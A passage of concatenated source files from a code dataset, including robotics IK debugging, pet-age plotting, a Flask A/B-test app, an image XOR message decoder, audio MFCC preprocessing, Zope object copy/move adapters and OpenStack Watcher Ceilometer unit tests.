(\"Wrist error for y position is: %04.8f\" % wc_y_e)\n print (\"Wrist error for z position is: %04.8f\" % wc_z_e)\n print (\"Overall wrist offset is: %04.8f units\" % wc_offset)\n\n # Find theta errors\n t_1_e = abs(theta1-test_case[2][0])\n t_2_e = abs(theta2-test_case[2][1])\n t_3_e = abs(theta3-test_case[2][2])\n t_4_e = abs(theta4-test_case[2][3])\n t_5_e = abs(theta5-test_case[2][4])\n t_6_e = abs(theta6-test_case[2][5])\n print (\"\\nTheta 1 error is: %04.8f\" % t_1_e)\n print (\"Theta 2 error is: %04.8f\" % t_2_e)\n print (\"Theta 3 error is: %04.8f\" % t_3_e)\n print (\"Theta 4 error is: %04.8f\" % t_4_e)\n print (\"Theta 5 error is: %04.8f\" % t_5_e)\n print (\"Theta 6 error is: %04.8f\" % t_6_e)\n print (\"\\n**These theta errors may not be a correct representation of your code, due to the fact \\\n \\nthat the arm can have muliple positions. It is best to add your forward kinmeatics to \\\n \\nconfirm whether your code is working or not**\")\n print (\" \")\n\n # Find FK EE error\n if not(sum(your_ee)==3):\n ee_x_e = abs(your_ee[0]-test_case[0][0][0])\n ee_y_e = abs(your_ee[1]-test_case[0][0][1])\n ee_z_e = abs(your_ee[2]-test_case[0][0][2])\n ee_offset = sqrt(ee_x_e**2 + ee_y_e**2 + ee_z_e**2)\n print (\"\\nEnd effector error for x position is: %04.8f\" % ee_x_e)\n print (\"End effector error for y position is: %04.8f\" % ee_y_e)\n print (\"End effector error for z position is: %04.8f\" % ee_z_e)\n print (\"Overall end effector offset is: %04.8f units \\n\" % ee_offset)\n\n\n\n\nif __name__ == \"__main__\":\n # Change test case number for different scenarios\n test_case_number = 5\n\n test_code(test_cases[test_case_number])\n","sub_path":"Project_2_RoboND_Kinematics-Project/IK_debug.py","file_name":"IK_debug.py","file_ext":"py","file_size_in_byte":14354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"197328694","text":"# 유기동물의 연령 분포 boxplot으로 표현하기\n\nimport csv\nimport numpy as np\n\nf = open('abandoned_pets_csv.csv')\ndata = csv.reader(f)\nnext(data)\nage_all = []\n\nfor row in data:\n row[9] = int(row[9])\n age = 2021 - row[9]\n age_all.append(age)\n\nfor row in data:\n if '개' in row[7]:\n dogs_cats[0] += 1\n if '고양이' in row[7]:\n dogs_cats[1] += 1\n\nimport matplotlib.pyplot as plt\n\nplt.style.use('ggplot')\nplt.figure(figsize=(20, 5), dpi=300)\nplt.rc('font', family='Malgun Gothic')\nplt.title('유기동물의 연령 분포', color='darkblue')\nplt.boxplot(age_all)\nplt.show()\n\nage_array = np.array(age_all)\nprint('1/4: ' + str(np.percentile(age_all, 25)))\nprint('1/2: ' + str(np.percentile(age_all, 50)))\nprint('3/4: ' + str(np.percentile(age_all, 75)))\nprint('평균: ' + str(round(np.mean(age_all), 2)))","sub_path":"data_analysis/abandoned_pets/abandoned_pets3.py","file_name":"abandoned_pets3.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"237617451","text":"from flask import Flask, request, render_template, make_response, session\nfrom flask.json import jsonify\nfrom flask_login import LoginManager, current_user, login_manager, login_required, login_user, logout_user\nfrom flask_cors import CORS\nfrom blog_view import blog\nfrom blog_control.user_mgmt import User\nimport os\n\nos.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'\n\napp = Flask(__name__, static_url_path='/static')\nCORS(app)\napp.secret_key = 'yoon_server1'\n\napp.register_blueprint(blog.blog_abtest, url_prefix = '/blog')\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\nlogin_manager.session_protection = 'strong'\n\n@login_manager.user_loader\ndef load_user(user_id):\n return User.get(user_id)\n\n@login_manager.unauthorized_handler\ndef unauthorized():\n return make_response(jsonify(success=False), 401)\n\n@app.before_request\ndef app_before_request():\n if 'client_id' not in session:\n session['client_id'] = request.environ.get('HTTP_X_REAL_IP', request.remote_addr)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port='8080')\n\n\n\n\n","sub_path":"09_flask_ABTest_Log/blog_abtest.py","file_name":"blog_abtest.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"170061224","text":"\"\"\"\nSecret_Messages.06.py\n\nDecode a secret message given the original and encoded image files.\n\nUsage: Secret_Messages.06.py \n\"\"\"\n\nimport sys\nfrom PIL import Image\n\ndef nbits_to_string(data, num_bits):\n \"\"\"Convert a list of Nbit values to a python string.\n\n data the list of Nbit values\n num_bits the number of bits in each value in \"data\"\n\n Returns a simple python string.\n \"\"\"\n\n result = ''\n\n accum = 0 # initialize state variables\n shift = 0\n\n for bits in data:\n accum = accum + (bits << shift) # shift bit value left\n shift += num_bits # shift next value \"num_bits\" places\n if shift >= 8: # if we have accumulated 8 bits\n if accum == 0: # a zero byte, quit\n break\n result += chr(accum) # put new character into result\n accum = 0 # initialize ready for next character\n shift = 0\n\n return result\n\ndef main(original_filename, encoded_filename, num_bits):\n # open input original_filename and get pixel data\n original_image = Image.open(original_filename)\n original_pixels = list(original_image.getdata())\n \n # ditto for the encoded file\n encoded_image = Image.open(encoded_filename)\n encoded_pixels = list(encoded_image.getdata())\n \n # get list of decoded Nbit values\n nbit_values = []\n for (o_pix, e_pix) in zip(original_pixels, encoded_pixels):\n # unpack each pixel tuple\n (o_r, o_g, o_b) = o_pix\n (e_r, e_g, e_b) = e_pix\n \n # decode the three pixel values, append to Nbit value list\n nbit_values.append(o_r ^ e_r)\n nbit_values.append(o_g ^ e_g)\n nbit_values.append(o_b ^ e_b)\n\n return nbits_to_string(nbit_values, num_bits)\n\n# get the original and encoded filenames\nif len(sys.argv) != 4:\n print(f'Sorry, expected a number of bits and two filenames')\n sys.exit(1)\n\noriginal_filename = sys.argv[1]\nencoded_filename = sys.argv[2]\nnum_bits = int(sys.argv[3])\n\nprint(f'original_filename={original_filename}, encoded_filename={encoded_filename}, num_bits={num_bits}')\n\nresult = main(original_filename, encoded_filename, num_bits)\nprint(result)\n","sub_path":"Secret_Messages/Secret_Messages.06.py","file_name":"Secret_Messages.06.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"3613696","text":"import math\nfrom decimal import *\nimport numpy as np\n\nif __name__ == '__main__':\n n = int(input())\n li = list(map(int,input().split()))\n subordinate = [0] * n\n\n for i in li:\n subordinate[i-1] += 1\n\n for i in subordinate:\n print(i)\n","sub_path":"procon-archive/atcoder.jp/abc163/abc163_c/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"632676363","text":"# uncompyle6 version 3.5.0\r\n# Python bytecode 3.6 (3379)\r\n# Decompiled from: Python 3.6.8 (tags/v3.6.8:3c6b436a57, Dec 24 2018, 00:16:47) [MSC v.1916 64 bit (AMD64)]\r\n# Embedded file name: .\\readers.py\r\n# Compiled at: 2018-06-19 19:17:07\r\n# Size of source mod 2**32: 1396 bytes\r\nfrom collections import defaultdict\r\nimport re\r\n\r\nclass Reader:\r\n\r\n def __init__(self, file_name):\r\n self.file_name = file_name\r\n\r\n def read(self, **kwargs):\r\n pass\r\n\r\n\r\nclass BioCreativeReader(Reader):\r\n\r\n def __init__(self, file_name):\r\n super().__init__(file_name)\r\n with open(file_name, 'r', encoding='utf8') as (f):\r\n self.lines = f.readlines()\r\n\r\n def read(self):\r\n \"\"\"\r\n :return: dict of abstract's: {: {'t': , 'a': }}\r\n \"\"\"\r\n regex = re.compile('^([\\\\d]+)\\\\|([at])\\\\|(.+)$', re.U | re.I)\r\n abstracts = defaultdict(dict)\r\n for line in self.lines:\r\n matched = regex.match(line)\r\n if matched:\r\n data = matched.groups()\r\n abstracts[data[0]][data[1]] = data[2]\r\n\r\n return abstracts\r\n\r\n def read_entity(self):\r\n \"\"\"\r\n :return: dict of entity's: {: [(pmid, start, end, content, type, id)]}\r\n \"\"\"\r\n regex = re.compile('^(\\\\d+)\\\\t(\\\\d+)\\\\t(\\\\d+)\\\\t([^\\\\t]+)\\\\t(\\\\S+)\\\\t(\\\\S+)', re.U | re.I)\r\n ret = defaultdict(list)\r\n for line in self.lines:\r\n matched = regex.search(line)\r\n if matched:\r\n data = matched.groups()\r\n ret[data[0]].append(tuple([data[0], int(data[1]), int(data[2]), data[3], data[4], data[5]]))\r\n\r\n return ret","sub_path":"readers.py","file_name":"readers.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"95967322","text":"import os\nimport json\nimport math\nimport librosa\n\nSAMPLE_RATE = 22050\nTRACK_DURATION = 30 # measured in seconds\nSAMPLES_PER_TRACK = SAMPLE_RATE * TRACK_DURATION\n\n\nclass pre_process():\n def __init__(self, num_mfcc=13, num_fft=2048, hop_length=512, num_segments=5):\n # * Save input variables\n self.num_mfcc = num_mfcc\n self.num_fft = num_fft\n self.num_segments = num_segments\n self.hop_length = hop_length\n\n # * Set default varibales\n self.samples_per_segment = int(SAMPLES_PER_TRACK / num_segments)\n self.num_mfcc_vectors_per_segment = math.ceil(self.samples_per_segment / hop_length)\n\n # * Structure to store every data\n self.data = {\"mapping\": [], \"labels\": [], \"mfcc\": []}\n\n def process_data(self, data_path, verbose=1):\n # * Check every directory inside data_path\n for label, (dir_path, _, file_list) in enumerate(os.walk(data_path)):\n if label != 0:\n genre = dir_path.split('/')[-1]\n self.data['mapping'].append(genre)\n if verbose:\n print(\"Processing:\", genre)\n\n # * Check every file inside genre subdir\n for file_name in file_list:\n file_path = os.path.join(dir_path, file_name)\n\n # * Load audio file\n signal, sample_rate = librosa.load(\n file_path, sr=SAMPLE_RATE)\n for segment in range(self.num_segments):\n # * Start/Finish sample for current segment\n start_sample = self.samples_per_segment * segment\n finish_sample = start_sample + self.samples_per_segment\n\n # * Extract mfcc\n mfcc = librosa.feature.mfcc(signal[start_sample:finish_sample],\n sr=sample_rate,\n n_mfcc=self.num_mfcc,\n n_fft=self.num_fft,\n hop_length=self.hop_length)\n mfcc = mfcc.T\n\n # * Store mfcc feature with expected number of vectors : for input of machine\n if len(mfcc) == self.num_mfcc_vectors_per_segment:\n self.data['labels'].append(label - 1)\n self.data[\"mfcc\"].append(mfcc.tolist())\n if verbose >= 2:\n print(\"{}, segment:{}\".format(\n file_path, segment + 1))\n\n def save(self, json_path):\n with open(json_path, \"w\") as file:\n json.dump(self.data, file, indent=4)\n","sub_path":"music_genre_classification/lib/pre_process.py","file_name":"pre_process.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"328697412","text":"#! /Library/Frameworks/Python.framework/Versions/Current/bin/python\n\n# JOEL SCHAFER\n# Modified 8/26/04\n\n\"\"\"\\n\n*********************************************************************\nNUMPY ARRAY VERSION\nColumn Extraction: Default assumes space delimited\n\t(Can't handle Strings)\nFormat: GrabNum.ColEx(\"file\",ColChoice) or\n GrabNum.ColEx(\"file\",ColChoice,\"DelimiterChoice\",\"HeaderSkip\")\n GrabNum.ColEx(\"in\",0,\",\",Start=1)\n*********************************************************************\n\"\"\"\n\nfrom pylab import ones,mean,std\nimport sys\n\ndef ColEx(DataFile,Choice,Delimiter=\" \",Start=\"0\"):\n\n Choice= int(Choice) \t\t# COLUMN TO EXTRACT\n Infile= open(DataFile,'r')\n data= Infile.readlines()\n NumLines= len(data)\n\n # START EQUALS NUMBER OF HEADER LINES TO SKIP: DEFAULT= 0\n StartLine= int(Start)\n\n # MAKE EMPTY ARRAY\n arr= ones(NumLines-StartLine,'f')\n\n for i in range(NumLines-StartLine):\n\n line= data[i+StartLine]\n\n if Delimiter == \" \":\n P= split(line)\n else:\n P= split(line,Delimiter)\n\n try:\n arr[i]= float(P[Choice])\n except:\n print(\"\\nFor input file: \") + DataFile\n print(\"\\tGrabNum.py:ColEx float conversion failed for column: \") + str(Choice)\n sys.exit(1)\n\n return arr\n Infile.close()\n\nif __name__ == \"__main__\":\n print(__doc__)\n","sub_path":"Modules/py3_GrabNum.py","file_name":"py3_GrabNum.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"186163838","text":"##############################################################################\n#\n# Copyright (c) 2001, 2002 Zope Corporation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.0 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"\n$Id$\n\"\"\"\nfrom zope.interface import implements, Invalid\nfrom zope.exceptions import NotFoundError, DuplicationError\nfrom zope.proxy import removeAllProxies\n\nfrom zope.app import zapi\nfrom zope.app.container.sample import SampleContainer\nfrom zope.app.event import publish\nfrom zope.app.event.objectevent import ObjectCopiedEvent\nfrom zope.app.copypastemove.interfaces import IObjectMover\nfrom zope.app.copypastemove.interfaces import IObjectCopier\nfrom zope.app.location import locationCopy\nfrom zope.app.container.interfaces import INameChooser\nfrom zope.app.container.constraints import checkObject\n\nclass ObjectMover:\n \"\"\"Adapter for moving objects between containers\n\n To use an object mover, pass a contained object to the class.\n The contained object should implement IContained. It should be\n contained in a container that has an adapter to INameChooser.\n\n\n >>> from zope.app.container.contained import Contained\n >>> ob = Contained()\n >>> container = ExampleContainer()\n >>> container[u'foo'] = ob\n >>> mover = ObjectMover(ob)\n\n In addition to moving objects, object movers can tell you if the\n object is movable:\n\n >>> mover.moveable()\n 1\n\n which, at least for now, they always are. A better question to\n ask is whether we can move to a particular container. Right now,\n we can always move to a container of the same class:\n\n >>> container2 = ExampleContainer()\n >>> mover.moveableTo(container2)\n 1\n >>> mover.moveableTo({})\n Traceback (most recent call last):\n ...\n TypeError: Container is not a valid Zope container.\n\n Of course, once we've decided we can move an object, we can use\n the mover to do so:\n\n >>> mover.moveTo(container2)\n >>> list(container)\n []\n >>> list(container2)\n [u'foo']\n >>> ob.__parent__ is container2\n 1\n\n We can also specify a name:\n\n >>> mover.moveTo(container2, u'bar')\n >>> list(container2)\n [u'bar']\n >>> ob.__parent__ is container2\n 1\n >>> ob.__name__\n u'bar'\n\n But we may not use the same name given, if the name is already in\n use:\n\n >>> container2[u'splat'] = 1\n >>> mover.moveTo(container2, u'splat')\n >>> l = list(container2)\n >>> l.sort()\n >>> l\n [u'splat', u'splat_']\n >>> ob.__name__\n u'splat_'\n\n\n If we try to move to an invalid container, we'll get an error:\n\n >>> mover.moveTo({})\n Traceback (most recent call last):\n ...\n TypeError: Container is not a valid Zope container.\n\n\n Do a test for preconditions:\n\n >>> import zope.interface\n >>> import zope.schema\n >>> def preNoZ(container, name, ob):\n ... \"Silly precondition example\"\n ... if name.startswith(\"Z\"):\n ... raise zope.interface.Invalid(\"Invalid name.\")\n\n >>> class I1(zope.interface.Interface):\n ... def __setitem__(name, on):\n ... \"Add an item\"\n ... __setitem__.precondition = preNoZ\n\n >>> from zope.app.container.interfaces import IContainer\n >>> class C1:\n ... zope.interface.implements(I1, IContainer)\n ... def __repr__(self):\n ... return 'C1'\n\n >>> from zope.app.container.constraints import checkObject\n >>> container3 = C1()\n >>> mover.moveableTo(container3, 'ZDummy')\n 0\n >>> mover.moveableTo(container3, 'newName')\n 1\n\n And a test for constraints:\n\n >>> def con1(container):\n ... \"silly container constraint\"\n ... if not hasattr(container, 'x'):\n ... return False\n ... return True\n ...\n >>> class I2(zope.interface.Interface):\n ... __parent__ = zope.schema.Field(constraint = con1)\n ...\n >>> class constrainedObject:\n ... zope.interface.implements(I2)\n ... def __init__(self):\n ... self.__name__ = 'constrainedObject'\n ...\n >>> cO = constrainedObject()\n >>> mover2 = ObjectMover(cO)\n >>> mover2.moveableTo(container)\n 0\n >>> container.x = 1\n >>> mover2.moveableTo(container)\n 1\n\n \"\"\"\n\n implements(IObjectMover)\n\n def __init__(self, object):\n self.context = object\n\n def moveTo(self, target, new_name=None):\n '''Move this object to the target given.\n\n Returns the new name within the target\n Typically, the target is adapted to IPasteTarget.'''\n\n obj = self.context\n container = obj.__parent__\n\n orig_name = obj.__name__\n if new_name is None:\n new_name = orig_name\n\n checkObject(target, new_name, obj)\n\n if target is container and new_name == orig_name:\n # Nothing to do\n return\n\n chooser = INameChooser(target)\n new_name = chooser.chooseName(new_name, obj)\n\n # Can't store security proxies\n obj = removeAllProxies(obj)\n\n target[new_name] = obj\n del container[orig_name]\n\n def moveable(self):\n '''Returns True if the object is moveable, otherwise False.'''\n return True\n\n def moveableTo(self, target, name=None):\n '''Say whether the object can be moved to the given target.\n\n Returns True if it can be moved there. Otherwise, returns\n false.\n '''\n if name is None:\n name = self.context.__name__\n try:\n checkObject(target, name, self.context)\n except Invalid:\n return False\n return True\n\nclass ObjectCopier:\n \"\"\"Adapter for copying objects between containers\n\n To use an object copier, pass a contained object to the class.\n The contained object should implement IContained. It should be\n contained in a container that has an adapter to INameChooser.\n\n >>> from zope.app.container.contained import Contained\n >>> ob = Contained()\n >>> container = ExampleContainer()\n >>> container[u'foo'] = ob\n >>> copier = ObjectCopier(ob)\n\n In addition to moving objects, object copiers can tell you if the\n object is movable:\n\n >>> copier.copyable()\n 1\n\n which, at least for now, they always are. A better question to\n ask is whether we can copy to a particular container. Right now,\n we can always copy to a container of the same class:\n\n >>> container2 = ExampleContainer()\n >>> copier.copyableTo(container2)\n 1\n >>> copier.copyableTo({})\n Traceback (most recent call last):\n ...\n TypeError: Container is not a valid Zope container.\n\n Of course, once we've decided we can copy an object, we can use\n the copier to do so:\n\n >>> copier.copyTo(container2)\n >>> list(container)\n [u'foo']\n >>> list(container2)\n [u'foo']\n >>> ob.__parent__ is container\n 1\n >>> container2[u'foo'] is ob\n 0\n >>> container2[u'foo'].__parent__ is container2\n 1\n >>> container2[u'foo'].__name__\n u'foo'\n\n We can also specify a name:\n\n >>> copier.copyTo(container2, u'bar')\n >>> l = list(container2)\n >>> l.sort()\n >>> l\n [u'bar', u'foo']\n\n >>> ob.__parent__ is container\n 1\n >>> container2[u'bar'] is ob\n 0\n >>> container2[u'bar'].__parent__ is container2\n 1\n >>> container2[u'bar'].__name__\n u'bar'\n\n But we may not use the same name given, if the name is already in\n use:\n\n >>> copier.copyTo(container2, u'bar')\n >>> l = list(container2)\n >>> l.sort()\n >>> l\n [u'bar', u'bar_', u'foo']\n >>> container2[u'bar_'].__name__\n u'bar_'\n\n\n If we try to copy to an invalid container, we'll get an error:\n\n >>> copier.copyTo({})\n Traceback (most recent call last):\n ...\n TypeError: Container is not a valid Zope container.\n\n Do a test for preconditions:\n\n >>> import zope.interface\n >>> import zope.schema\n >>> def preNoZ(container, name, ob):\n ... \"Silly precondition example\"\n ... if name.startswith(\"Z\"):\n ... raise zope.interface.Invalid(\"Invalid name.\")\n\n >>> class I1(zope.interface.Interface):\n ... def __setitem__(name, on):\n ... \"Add an item\"\n ... __setitem__.precondition = preNoZ\n\n >>> from zope.app.container.interfaces import IContainer\n >>> class C1:\n ... zope.interface.implements(I1, IContainer)\n ... def __repr__(self):\n ... return 'C1'\n\n >>> from zope.app.container.constraints import checkObject\n >>> container3 = C1()\n >>> copier.copyableTo(container3, 'ZDummy')\n 0\n >>> copier.copyableTo(container3, 'newName')\n 1\n\n And a test for constraints:\n\n >>> def con1(container):\n ... \"silly container constraint\"\n ... if not hasattr(container, 'x'):\n ... return False\n ... return True\n ...\n >>> class I2(zope.interface.Interface):\n ... __parent__ = zope.schema.Field(constraint = con1)\n ...\n >>> class constrainedObject:\n ... zope.interface.implements(I2)\n ... def __init__(self):\n ... self.__name__ = 'constrainedObject'\n ...\n >>> cO = constrainedObject()\n >>> copier2 = ObjectCopier(cO)\n >>> copier2.copyableTo(container)\n 0\n >>> container.x = 1\n >>> copier2.copyableTo(container)\n 1\n\n \"\"\"\n\n implements(IObjectCopier)\n\n def __init__(self, object):\n self.context = object\n\n def copyTo(self, target, new_name=None):\n \"\"\"Copy this object to the target given.\n\n Returns the new name within the target, or None\n if the target doesn't do names.\n Typically, the target is adapted to IPasteTarget.\n After the copy is added to the target container, publish\n an IObjectCopied event in the context of the target container.\n If a new object is created as part of the copying process, then\n an IObjectCreated event should be published.\n \"\"\"\n obj = self.context\n container = obj.__parent__\n\n orig_name = obj.__name__\n if new_name is None:\n new_name = orig_name\n\n checkObject(target, new_name, obj)\n\n chooser = INameChooser(target)\n new_name = chooser.chooseName(new_name, obj)\n\n copy = removeAllProxies(obj)\n copy = locationCopy(copy)\n copy.__parent__ = copy.__name__ = None\n publish(target, ObjectCopiedEvent(copy))\n\n target[new_name] = copy\n\n def copyable(self):\n '''Returns True if the object is copyable, otherwise False.'''\n return True\n\n def copyableTo(self, target, name=None):\n '''Say whether the object can be copied to the given target.\n\n Returns True if it can be copied there. Otherwise, returns\n False.\n '''\n if name is None:\n name = self.context.__name__\n try:\n checkObject(target, name, self.context)\n except Invalid:\n return False\n return True\n\n\nclass PrincipalClipboard:\n '''Principal clipboard\n\n Clipboard information consists on tuples of\n {'action':action, 'target':target}.\n '''\n\n def __init__(self, annotation):\n self.context = annotation\n\n def clearContents(self):\n '''Clear the contents of the clipboard'''\n self.context['clipboard'] = ()\n\n def addItems(self, action, targets):\n '''Add new items to the clipboard'''\n contents = self.getContents()\n actions = []\n for target in targets:\n actions.append({'action':action, 'target':target})\n self.context['clipboard'] = contents + tuple(actions)\n\n def setContents(self, clipboard):\n '''Replace the contents of the clipboard by the given value'''\n self.context['clipboard'] = clipboard\n\n def getContents(self):\n '''Return the contents of the clipboard'''\n return removeAllProxies(self.context.get('clipboard', ()))\n\n\ndef rename(container, oldid, newid):\n object = container.get(oldid)\n if object is None:\n raise NotFoundError(container, oldid)\n mover = IObjectMover(object)\n\n if newid in container:\n raise DuplicationError(\"name, %s, is already in use\" % newid)\n\n if mover.moveable() and mover.moveableTo(container, newid):\n mover.moveTo(container, newid)\n\nclass ExampleContainer(SampleContainer):\n # Sample container used for examples in doc stringss in this module\n\n implements(INameChooser)\n\n def chooseName(self, name, ob):\n while name in self:\n name += '_'\n return name\n","sub_path":"Zope3/tags/ZopeX3-3.0.0a1/src/zope/app/copypastemove/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":12912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"544681112","text":"'''\nA Python Client for version 1.1 of the Smartsheet API\n'''\n\nfrom client_1_1 import (SmartsheetClient, SheetInfo, Column, Row, RowWrapper,\n Cell, CellTypes, Attachment, Discussion, SimpleUser, UserProfile,\n CellLinkIn, CellHyperlink,\n SmartsheetClientError)\n\n__version__ = '0.0.1'\n\n\n","sub_path":"smartsheet-python-sdk/src/python/build/lib/smartsheetclient/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"212658055","text":"# -*- encoding: utf-8 -*-\n# Copyright (c) 2015 b<>com\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nimport mock\n\nfrom watcher.common import clients\nfrom watcher.common import exception\nfrom watcher.decision_engine.datasources import ceilometer as ceilometer_helper\nfrom watcher.tests import base\n\n\n@mock.patch.object(clients.OpenStackClients, 'ceilometer')\nclass TestCeilometerHelper(base.BaseTestCase):\n\n def setUp(self):\n super(TestCeilometerHelper, self).setUp()\n self.osc_mock = mock.Mock()\n self.helper = ceilometer_helper.CeilometerHelper(osc=self.osc_mock)\n stat_agg_patcher = mock.patch.object(\n self.helper, 'statistic_aggregation',\n spec=ceilometer_helper.CeilometerHelper.statistic_aggregation)\n self.mock_aggregation = stat_agg_patcher.start()\n self.addCleanup(stat_agg_patcher.stop)\n\n def test_build_query(self, mock_ceilometer):\n mock_ceilometer.return_value = mock.MagicMock()\n cm = ceilometer_helper.CeilometerHelper()\n expected = [{'field': 'user_id', 'op': 'eq', 'value': u'user_id'},\n {'field': 'project_id', 'op': 'eq', 'value': u'tenant_id'},\n {'field': 'resource_id', 'op': 'eq',\n 'value': u'resource_id'}]\n\n query = cm.build_query(user_id=\"user_id\",\n tenant_id=\"tenant_id\",\n resource_id=\"resource_id\",\n user_ids=[\"user_ids\"],\n tenant_ids=[\"tenant_ids\"],\n resource_ids=[\"resource_ids\"])\n self.assertEqual(expected, query)\n\n def test_statistic_aggregation(self, mock_ceilometer):\n ceilometer = mock.MagicMock()\n statistic = mock.MagicMock()\n expected_result = 100\n statistic[-1]._info = {'aggregate': {'avg': expected_result}}\n ceilometer.statistics.list.return_value = statistic\n mock_ceilometer.return_value = ceilometer\n cm = ceilometer_helper.CeilometerHelper()\n val = cm.statistic_aggregation(\n resource=mock.Mock(id=\"INSTANCE_ID\"),\n resource_type='instance',\n meter_name=\"instance_cpu_usage\",\n period=\"7300\",\n granularity=None\n )\n self.assertEqual(expected_result, val)\n\n def test_statistic_aggregation_metric_unavailable(self, mock_ceilometer):\n helper = ceilometer_helper.CeilometerHelper()\n\n # invalidate instance_cpu_usage in metric map\n original_metric_value = helper.METRIC_MAP.get('instance_cpu_usage')\n helper.METRIC_MAP.update(\n instance_cpu_usage=None\n )\n\n self.assertRaises(\n exception.MetricNotAvailable,\n helper.statistic_aggregation, resource=mock.Mock(id=\"INSTANCE_ID\"),\n resource_type='instance', meter_name=\"instance_cpu_usage\",\n period=\"7300\",\n granularity=None\n )\n\n # restore the metric map as it is a static attribute that does not get\n # restored between unit tests!\n helper.METRIC_MAP.update(\n instance_cpu_usage=original_metric_value\n )\n\n def test_get_host_cpu_usage(self, mock_ceilometer):\n self.helper.get_host_cpu_usage('compute1', 600, 'mean')\n self.mock_aggregation.assert_called_once_with(\n 'compute1', 'compute_node', 'host_cpu_usage', 600, 'mean', None)\n\n def test_get_host_ram_usage(self, mock_ceilometer):\n self.helper.get_host_ram_usage('compute1', 600, 'mean')\n self.mock_aggregation.assert_called_once_with(\n 'compute1', 'compute_node', 'host_ram_usage', 600, 'mean', None)\n\n def test_get_host_outlet_temp(self, mock_ceilometer):\n self.helper.get_host_outlet_temp('compute1', 600, 'mean')\n self.mock_aggregation.assert_called_once_with(\n 'compute1', 'compute_node', 'host_outlet_temp', 600, 'mean', None)\n\n def test_get_host_inlet_temp(self, mock_ceilometer):\n self.helper.get_host_inlet_temp('compute1', 600, 'mean')\n self.mock_aggregation.assert_called_once_with(\n 'compute1', 'compute_node', 'host_inlet_temp', 600, 'mean', None)\n\n def test_get_host_airflow(self, mock_ceilometer):\n self.helper.get_host_airflow('compute1', 600, 'mean')\n self.mock_aggregation.assert_called_once_with(\n 'compute1', 'compute_node', 'host_airflow', 600, 'mean', None)\n\n def test_get_host_power(self, mock_ceilometer):\n self.helper.get_host_power('compute1', 600, 'mean')\n self.mock_aggregation.assert_called_once_with(\n 'compute1', 'compute_node', 'host_power', 600, 'mean', None)\n\n def test_get_instance_cpu_usage(self, mock_ceilometer):\n self.helper.get_instance_cpu_usage('compute1', 600, 'mean')\n self.mock_aggregation.assert_called_once_with(\n 'compute1', 'instance', 'instance_cpu_usage', 600, 'mean',\n None)\n\n def test_get_instance_ram_usage(self, mock_ceilometer):\n self.helper.get_instance_ram_usage('compute1', 600, 'mean')\n self.mock_aggregation.assert_called_once_with(\n 'compute1', 'instance', 'instance_ram_usage', 600, 'mean',\n None)\n\n def test_get_instance_ram_allocated(self, mock_ceilometer):\n self.helper.get_instance_ram_allocated('compute1', 600, 'mean')\n self.mock_aggregation.assert_called_once_with(\n 'compute1', 'instance', 'instance_ram_allocated', 600, 'mean',\n None)\n\n def test_get_instance_l3_cache_usage(self, mock_ceilometer):\n self.helper.get_instance_l3_cache_usage('compute1', 600, 'mean')\n self.mock_aggregation.assert_called_once_with(\n 'compute1', 'instance', 'instance_l3_cache_usage', 600, 'mean',\n None)\n\n def test_get_instance_root_disk_size(self, mock_ceilometer):\n self.helper.get_instance_root_disk_size('compute1', 600, 'mean')\n self.mock_aggregation.assert_called_once_with(\n 'compute1', 'instance', 'instance_root_disk_size', 600, 'mean',\n None)\n\n def test_check_availability(self, mock_ceilometer):\n ceilometer = mock.MagicMock()\n ceilometer.resources.list.return_value = True\n mock_ceilometer.return_value = ceilometer\n helper = ceilometer_helper.CeilometerHelper()\n result = helper.check_availability()\n self.assertEqual('available', result)\n\n def test_check_availability_with_failure(self, mock_ceilometer):\n ceilometer = mock.MagicMock()\n ceilometer.resources.list.side_effect = Exception()\n mock_ceilometer.return_value = ceilometer\n helper = ceilometer_helper.CeilometerHelper()\n\n self.assertEqual('not available', 